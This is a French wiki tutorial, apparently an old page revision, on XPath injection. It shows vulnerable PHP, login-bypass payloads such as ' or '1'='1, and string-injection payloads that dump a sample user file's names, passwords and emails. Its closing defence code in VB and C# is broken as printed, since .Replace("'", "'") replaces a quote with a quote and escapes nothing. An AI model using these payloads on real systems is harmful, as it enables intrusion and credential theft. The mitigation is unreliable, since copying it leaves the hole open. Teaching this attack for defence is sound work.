Outils pour utilisateurs

Outils du site


web:injection_xpath

Ceci est une ancienne révision du document !


Faille XPath Injection

1.Présentation de la Vulnérabilité

Le principe d'une injection XPath est proche de celui d'une injection SQL. Cela arrive lorsqu'un site utilise des informations que l'utilisateur entre pour construire une requête de donnée XML. En envoyant des informations mal formées (de façon intentionnelle) il est possible de bypasser des authentifications ou atteindre des données normalement inaccessible.

2.Exploit

2.1 XPATH Authentification

Le code :

$xpath = "//username[username='" . $_GET['username'] . "' and password='" . $_GET['password'] . "']";

Voici en gros ce qu'il se passe derrière l'authentification, Maintenant, notre but est d'utiliser un tweak sur les valeurs username et password pour renvoyer une réponse TRUE et bypasser l'authentification.

Une partie à découvrir, c'est le noeud courant. Pour rappel la sémantique d'une Xpath est Un axe, un noeud, des prédicats. Ici notre noeud est username: Pour tester :

 username=' or '1'='1 

username est le nom de la variable renvoyé par le formulaire, on ferme ensuite la chaîne de caractères avec ' puis on ajoute une vérité : or '1'='1 On n'ajoute pas de ' , $xpath s'en charge pour nous.

Au final, la chaîne $xpath donnera:

 $xpath = "//username[username='' or '1'='1' and password='' or '1'='1']"; 

Se connecter avec le premier utilisateur :

 username=' or '1'='1&password=' or '1'='1 

Cette requête renverra TRUE, nous serons donc loggé avec le premier utilisateur de la liste, ici FrankyVincent. Si vous suivez un peu, vous voyez déjà que l'on peut bypasser le password par une fermeture en plus ! Voici:

 username=' or '1'='1' or ''='&password= 

ce qui donne dessous la machine :

 $xpath = "//username[username='' or '1'='1' or ''='' and password='']"; 

Ainsi, si nous chainons deux or, le prédicat est stoppé avant password bypassant ainsi l'utilisation d'un mot de passe. L'utilité ? Se logger en admin par exemple

 username=admin' or '1'='1' or ''='&password= 

2.2 Injection string:

Ce type d'injection est possible sur un champs de recherche d'utilisateur par exemple. Nous cherchons a créer une erreur avec ' )' ce qui renverra :

 Invalid XPath syntax : //username/user[contains(., '' )')] 

En voici une erreur qui en dit long ! On récupère notre noeud (username/user), et l'info de l'utilisation de contains, y'a pu qu'à injecter comme on dit ! Il est important de savoir que contains attend un string en paramètre qui va être chercher dans le

Notre but est donc de fermer la requête, fermer le prédicat puis recommencer une requête complète. Et tada :

 username=')][('1'='1 

Au final, on obtient:

 $xpath=//username/user[contains(.,'')][('1'='1')] 

Cela listera les username :

  • 5 results found
  • FrankyVincent
  • admin
  • Babar
  • Tigrou
  • Carlos

C'est jolie tout ça mais, nous on veut du mdp ! Remontons d'un cran !

 $xpath=//username/user[contains(.,'')]/../*[('1'='1')] 

On remonte dans l'arborescence et affiche tout le contenu de l'ensemble des noeuds “user” et tous ses attributs.

L'injection :

 username=')]/../*[('1'='1 

renverra:

  • 1
  • FrankyVincent
  • FruitDeL@Passion
  • Cousin@cousinealui.com
  • 2
  • admin
  • Sup3rM0tD3p@sseD30uf
  • admin@xpathpwnd.com
  • admin
  • […]
  • Carlos@decede.fr
  • Décédé

3.Comment s'en protéger

Tout comme les injections SQL il faut echapper les inputs utilisateurs et “reconstruire” la requête après envoie. Il faut donc échapper la quote (') afin d'empêcher la fermeture de notre requête. Ici, toutes les ' seront remplacé par la version XML encoded à savoir “'”.

VB:
Dim FindUserXPath as String
FindUserXPath = "//Employee[UserName/text()='" & Request("Username").Replace("'", "'") & "' And 
        Password/text()='" & Request("Password").Replace("'", "'") & "']"

C#:
String FindUserXPath;
FindUserXPath = "//Employee[UserName/text()='" + Request("Username").Replace("'", "'") + "' And 
        Password/text()='" + Request("Password").Replace("'", "'") + "']";

source : https://www.owasp.org/index.php/XPATH_Injection

web/injection_xpath.1460714952.txt.gz · Dernière modification: 2016/07/04 08:37 (modification externe)